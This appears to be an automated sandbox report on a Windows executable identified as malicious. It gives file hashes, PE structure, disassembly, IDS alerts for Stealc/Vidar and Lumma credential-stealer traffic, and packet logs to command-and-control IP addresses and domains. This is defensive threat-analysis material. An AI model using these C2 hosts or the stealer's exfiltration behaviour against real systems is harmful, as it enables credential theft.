Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\sql[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2459136
Entropy (8bit):	6.052474106868353
Encrypted:	false
SSDEEP:	49152:WHoJ9zGioiMjW2RrL9B8SSpiCH7cuez9A:WHoJBGqabRnj8JY/9
MD5:	90E744829865D57082A7F452EDC90DE5
SHA1:	833B178775F39675FA4E55EAB1032353514E1052
SHA-256:	036A57102385D7F0D7B2DEACF932C1C372AE30D924365B7A88F8A26657DD7550
SHA-512:	0A2D112FF7CB806A74F5EC17FE097D28107BB497D6ED5AD28EA47E6795434BA903CDB49AAF97A9A99C08CD0411F1969CAD93031246DC107C26606A898E570323
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........7.Z.Y.Z.Y.Z.Y...Z.n.Y...\..Y...]...Y...X.Y.Y.Z.X..Y.O.\.E.Y.O.].U.Y.O.Z.L.Y.l3].[.Y.l3Y.[.Y.l3..[.Y.l3[.[.Y.RichZ.Y.................PE..L...i.`e...........!...%.. .........{D........ ...............................%...........@...........................#..6....$.(.....$.......................$.....`.#.8...........................x.#.@.............$..............................text...G. ....... ................. ..`.rdata...".... ..$.... .............@..@.data...4\|... $..b....#.............@....idata........$......^$.............@..@.00cfg........$......p$.............@..@.rsrc.........$......r$.............@..@.reloc..5.....$.......$.............@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\delays.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	Non-ISO extended-ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1048575
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:XH33333333333333333333333333333333333333333333333333333333333333:X
MD5:	111E218E55D442349CCFF0EAB3E1C3FA
SHA1:	FE660E24EF9930C922FA0802A4964C12C3F6F818
SHA-256:	880D5B4CCAB42528B24C2F3D8A49E8B0023B66BCB64134CE266C2EC07AB52262
SHA-512:	A9210D6F2E3AE80960176363F5EB4F2DF31383C4096743B1A08F95436677C46C8F93E486D56C7BCEDFCEA6A92CFAC243E30D982368BCA8EB43041D6F26977A1D
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.46937733266509
Encrypted:	false
SSDEEP:	6144:uIXfpi67eLPU9skLmb0b4RWSPKaJG8nAgejZMMhA2gX4WABl0uNYdwBCswSb2:jXD94RWlLZMM6YFHC+2
MD5:	892110F299E118A867C0C51568ABBF94
SHA1:	02075BFA9AD16271A866FE4B472549F93A3BE4B9
SHA-256:	3DF6B3B5B825E1A79BC5433DC080546D464189573DC0C0CFA4034D17FC510C88
SHA-512:	FF5EC628AB85D8D1297D43823F723CE3576872D24CE13471CAC49908E08F8136D211D05E0C1A1E824A382C600A721C36D774484D4BA9068F9C91BACE3EE51340
Malicious:	false
Preview:	regf7...7....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.'4K................................................................................................................................................................................................................................................................................................................................................cT".........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.747196264942626
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	T2bmenoX1o.exe
File size:	584'704 bytes
MD5:	a72af6c3293eb3061bba1e48ba6147de
SHA1:	316276ac440f65361db52e49a7fc4d2a9be1f457
SHA256:	7dc3d6e633cbabe95c39fa36f94ab6657e3c04dab7a9a6c1f79c9e2424378e00
SHA512:	3bea2955df160fc3ce1ad61c0cf1a6946bf4d12147596e63ff3eb359db9af4f32ea8e0595c65bec0d5651f76a029a9afac621fab08e5e21c7b1f8794740617ca
SSDEEP:	12288:eMs0xfgBSzc9gm8naRK1RDr/EbeWsFU37LpZdE3f8Hcz74S:eWfgv8naRK1Ncbe5S/jsf8SU
TLSH:	38C4010275C1C033D97716314AF0DAB59A7EB8B00B659E9F67940F7E4F30191DB22AAB
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......=.9.y.WUy.WUy.WU..TTu.WU..RT..WU..STl.WU..VTz.WUy.VU!.WUilTTm.WUilSTk.WUilRT4.WU1m^Tx.WU1m.Ux.WU1mUTx.WURichy.WU...............

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x406f52
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x67047EE4 [Tue Oct 8 00:37:56 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	d10af643340e1121562abe3e6bd5b0e1

Entrypoint Preview

Instruction
call 00007F1CFC6CD6B0h
jmp 00007F1CFC6CCC1Fh
push ebp
mov ebp, esp
mov eax, dword ptr [ebp+08h]
push esi
mov ecx, dword ptr [eax+3Ch]
add ecx, eax
movzx eax, word ptr [ecx+14h]
lea edx, dword ptr [ecx+18h]
add edx, eax
movzx eax, word ptr [ecx+06h]
imul esi, eax, 28h
add esi, edx
cmp edx, esi
je 00007F1CFC6CCDBBh
mov ecx, dword ptr [ebp+0Ch]
cmp ecx, dword ptr [edx+0Ch]
jc 00007F1CFC6CCDACh
mov eax, dword ptr [edx+08h]
add eax, dword ptr [edx+0Ch]
cmp ecx, eax
jc 00007F1CFC6CCDAEh
add edx, 28h
cmp edx, esi
jne 00007F1CFC6CCD8Ch
xor eax, eax
pop esi
pop ebp
ret
mov eax, edx
jmp 00007F1CFC6CCD9Bh
push esi
call 00007F1CFC6CD9C4h
test eax, eax
je 00007F1CFC6CCDC2h
mov eax, dword ptr fs:[00000018h]
mov esi, 0048E93Ch
mov edx, dword ptr [eax+04h]
jmp 00007F1CFC6CCDA6h
cmp edx, eax
je 00007F1CFC6CCDB2h
xor eax, eax
mov ecx, edx
lock cmpxchg dword ptr [esi], ecx
test eax, eax
jne 00007F1CFC6CCD92h
xor al, al
pop esi
ret
mov al, 01h
pop esi
ret
push ebp
mov ebp, esp
cmp dword ptr [ebp+08h], 00000000h
jne 00007F1CFC6CCDA9h
mov byte ptr [0048E940h], 00000001h
call 00007F1CFC6CD05Ah
call 00007F1CFC6CFF77h
test al, al
jne 00007F1CFC6CCDA6h
xor al, al
pop ebp
ret
call 00007F1CFC6D89D9h
test al, al
jne 00007F1CFC6CCDACh
push 00000000h
call 00007F1CFC6CFF7Eh
pop ecx
jmp 00007F1CFC6CCD8Bh
mov al, 01h
pop ebp
ret
push ebp
mov ebp, esp
cmp byte ptr [0048E941h], 00000000h
je 00007F1CFC6CCDA6h
mov al, 01h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2c6c0	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x90000	0x3d8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x91000	0x1acc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x2abc0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x2ab00	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x23000	0x12c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x210f0	0x21200	591eb0729acf48dc783d614a23cf015d	False	0.5865418632075472	data	6.6657213179536265	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x23000	0x9d78	0x9e00	de612ef738731fa115e3b0f812d75346	False	0.43527492088607594	data	4.961072309038278	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x2d000	0x62568	0x61800	cfb8586ece25b56ed82b6a7d24bd13ba	False	0.9919220753205128	DOS executable (block device driver \377\377\377\377,32-bit sector-support)	7.9935506034798225	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x90000	0x3d8	0x400	af649139f3e8354e0bee38868a95abf6	False	0.439453125	data	3.276619243827775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x91000	0x1acc	0x1c00	31331e0e1bc7319fd3846f1ae518052f	False	0.7260044642857143	data	6.387480786696945	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x90058	0x380	data	English	United States	0.46205357142857145

Imports

DLL

Import

KERNEL32.dll

AttachConsole, MultiByteToWideChar, GetStringTypeW, WideCharToMultiByte, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionEx, DeleteCriticalSection, EncodePointer, DecodePointer, LCMapStringEx, GetCPInfo, IsProcessorFeaturePresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, TerminateProcess, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, GetStartupInfoW, GetModuleHandleW, CreateFileW, RaiseException, RtlUnwind, GetLastError, SetLastError, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, GetProcAddress, LoadLibraryExW, GetStdHandle, WriteFile, GetModuleFileNameW, ExitProcess, GetModuleHandleExW, HeapAlloc, HeapFree, GetFileType, LCMapStringW, GetLocaleInfoW, IsValidLocale, GetUserDefaultLCID, EnumSystemLocalesW, GetFileSizeEx, SetFilePointerEx, CloseHandle, FlushFileBuffers, GetConsoleOutputCP, GetConsoleMode, ReadFile, HeapReAlloc, FindClose, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetCommandLineA, GetCommandLineW, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetStdHandle, GetProcessHeap, ReadConsoleW, HeapSize, WriteConsoleW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-08T02:45:20.419579+0200	2049087	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST	1	192.168.2.4	51293	95.164.90.97	80	TCP
2024-10-08T02:45:21.113875+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	95.164.90.97	80	192.168.2.4	51293	TCP
2024-10-08T02:45:21.791656+0200	2051831	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	1	95.164.90.97	80	192.168.2.4	51293	TCP
2024-10-08T02:45:39.520647+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	51294	147.45.44.104	80	TCP
2024-10-08T02:45:49.545762+0200	2056510	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (exemplarou .sbs)	1	192.168.2.4	50020	1.1.1.1	53	UDP
2024-10-08T02:45:49.558011+0200	2056514	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (frizzettei .sbs)	1	192.168.2.4	59563	1.1.1.1	53	UDP
2024-10-08T02:45:49.568162+0200	2056518	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (isoplethui .sbs)	1	192.168.2.4	62537	1.1.1.1	53	UDP
2024-10-08T02:45:49.583248+0200	2056502	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bemuzzeki .sbs)	1	192.168.2.4	59347	1.1.1.1	53	UDP
2024-10-08T02:45:49.592247+0200	2056512	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (exilepolsiy .sbs)	1	192.168.2.4	57388	1.1.1.1	53	UDP
2024-10-08T02:45:49.601450+0200	2056520	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (laddyirekyi .sbs)	1	192.168.2.4	51199	1.1.1.1	53	UDP
2024-10-08T02:45:49.615140+0200	2056516	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (invinjurhey .sbs)	1	192.168.2.4	53745	1.1.1.1	53	UDP
2024-10-08T02:45:49.632223+0200	2056524	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (wickedneatr .sbs)	1	192.168.2.4	54905	1.1.1.1	53	UDP
2024-10-08T02:45:51.875736+0200	2054495	ET MALWARE Vidar Stealer Form Exfil	1	192.168.2.4	51297	45.132.206.251	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 8, 2024 02:44:50.782711983 CEST	49675	443	192.168.2.4	173.222.162.32
Oct 8, 2024 02:45:00.392050982 CEST	49675	443	192.168.2.4	173.222.162.32
Oct 8, 2024 02:45:17.205353022 CEST	49742	443	192.168.2.4	149.154.167.99
Oct 8, 2024 02:45:17.205378056 CEST	443	49742	149.154.167.99	192.168.2.4
Oct 8, 2024 02:45:17.205609083 CEST	49742	443	192.168.2.4	149.154.167.99
Oct 8, 2024 02:45:17.212994099 CEST	49742	443	192.168.2.4	149.154.167.99
Oct 8, 2024 02:45:17.213006973 CEST	443	49742	149.154.167.99	192.168.2.4
Oct 8, 2024 02:45:17.336774111 CEST	51292	53	192.168.2.4	1.1.1.1
Oct 8, 2024 02:45:17.341598034 CEST	53	51292	1.1.1.1	192.168.2.4
Oct 8, 2024 02:45:17.341665983 CEST	51292	53	192.168.2.4	1.1.1.1
Oct 8, 2024 02:45:17.341768026 CEST	51292	53	192.168.2.4	1.1.1.1
Oct 8, 2024 02:45:17.346667051 CEST	53	51292	1.1.1.1	192.168.2.4
Oct 8, 2024 02:45:17.812645912 CEST	53	51292	1.1.1.1	192.168.2.4
Oct 8, 2024 02:45:17.814254999 CEST	51292	53	192.168.2.4	1.1.1.1
Oct 8, 2024 02:45:17.820065975 CEST	53	51292	1.1.1.1	192.168.2.4
Oct 8, 2024 02:45:17.820125103 CEST	51292	53	192.168.2.4	1.1.1.1
Oct 8, 2024 02:45:17.837141037 CEST	443	49742	149.154.167.99	192.168.2.4
Oct 8, 2024 02:45:17.837203979 CEST	49742	443	192.168.2.4	149.154.167.99
Oct 8, 2024 02:45:17.881023884 CEST	49742	443	192.168.2.4	149.154.167.99
Oct 8, 2024 02:45:17.881072044 CEST	443	49742	149.154.167.99	192.168.2.4
Oct 8, 2024 02:45:17.882098913 CEST	443	49742	149.154.167.99	192.168.2.4
Oct 8, 2024 02:45:17.882157087 CEST	49742	443	192.168.2.4	149.154.167.99
Oct 8, 2024 02:45:17.884826899 CEST	49742	443	192.168.2.4	149.154.167.99
Oct 8, 2024 02:45:17.931410074 CEST	443	49742	149.154.167.99	192.168.2.4
Oct 8, 2024 02:45:18.086783886 CEST	443	49742	149.154.167.99	192.168.2.4
Oct 8, 2024 02:45:18.086844921 CEST	443	49742	149.154.167.99	192.168.2.4
Oct 8, 2024 02:45:18.086874008 CEST	49742	443	192.168.2.4	149.154.167.99
Oct 8, 2024 02:45:18.086886883 CEST	443	49742	149.154.167.99	192.168.2.4
Oct 8, 2024 02:45:18.086916924 CEST	443	49742	149.154.167.99	192.168.2.4
Oct 8, 2024 02:45:18.086930990 CEST	49742	443	192.168.2.4	149.154.167.99
Oct 8, 2024 02:45:18.086930990 CEST	49742	443	192.168.2.4	149.154.167.99
Oct 8, 2024 02:45:18.087039948 CEST	443	49742	149.154.167.99	192.168.2.4
Oct 8, 2024 02:45:18.087085962 CEST	49742	443	192.168.2.4	149.154.167.99
Oct 8, 2024 02:45:18.087085962 CEST	49742	443	192.168.2.4	149.154.167.99
Oct 8, 2024 02:45:18.088704109 CEST	49742	443	192.168.2.4	149.154.167.99
Oct 8, 2024 02:45:18.088728905 CEST	443	49742	149.154.167.99	192.168.2.4
Oct 8, 2024 02:45:18.103769064 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:18.108704090 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:18.108772993 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:18.108869076 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:18.113759041 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:19.153146029 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:19.153356075 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:19.156689882 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:19.161608934 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:19.783032894 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:19.784554958 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:19.785484076 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:19.790342093 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:20.419315100 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:20.419579029 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:20.421144962 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:20.421207905 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:20.422099113 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:20.426983118 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:21.106465101 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:21.106669903 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:21.106764078 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:21.106774092 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:21.106832981 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:21.107815027 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:21.107824087 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:21.107832909 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:21.107882023 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:21.107882023 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:21.109074116 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:21.113874912 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:21.721985102 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:21.722177982 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:21.786546946 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:21.786640882 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:21.791656017 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:21.791691065 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:21.791718960 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:21.791766882 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:21.791794062 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:21.791821003 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:22.641601086 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:22.641798019 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:22.644608974 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:22.649446964 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:22.851800919 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:22.852067947 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:22.852102995 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:22.852158070 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:22.852158070 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:22.852252960 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:22.852973938 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:22.853008032 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:22.853039980 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:22.853075981 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:22.854034901 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:22.854068041 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:22.854099989 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:22.854132891 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:22.855190039 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:22.855225086 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:22.855257034 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:22.855258942 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:22.855281115 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:22.855298996 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:22.856358051 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:22.856391907 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:22.856425047 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:22.856456995 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:22.857448101 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:22.857515097 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:22.962101936 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:22.962222099 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:22.962254047 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:22.962251902 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:22.962342978 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:22.962342978 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:22.962734938 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:22.962769032 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:22.962801933 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:22.962837934 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:22.963553905 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:22.963587999 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:22.963619947 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:22.963653088 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:22.964302063 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:22.964334965 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:22.964361906 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:22.964394093 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:22.965188980 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:22.965221882 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:22.965246916 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:22.965276957 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:22.966070890 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:22.966105938 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:22.966134071 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:22.966162920 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:22.967048883 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:22.967082977 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:22.967112064 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:22.967144966 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:22.967931032 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:22.967964888 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:22.967993021 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:22.968024969 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:22.969026089 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:22.969058990 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:22.969086885 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:22.969090939 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:22.969105959 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:22.969141960 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:22.969790936 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:22.969825983 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:22.969851971 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:22.969882965 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:22.970720053 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:22.970755100 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:22.970781088 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:22.970813990 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:22.971606970 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:22.971663952 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.072437048 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.072647095 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.072648048 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.072680950 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.072715044 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.072743893 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.073399067 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:23.073463917 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:23.073626995 CEST	80	51293	95.164.90.97	192.168.2.4
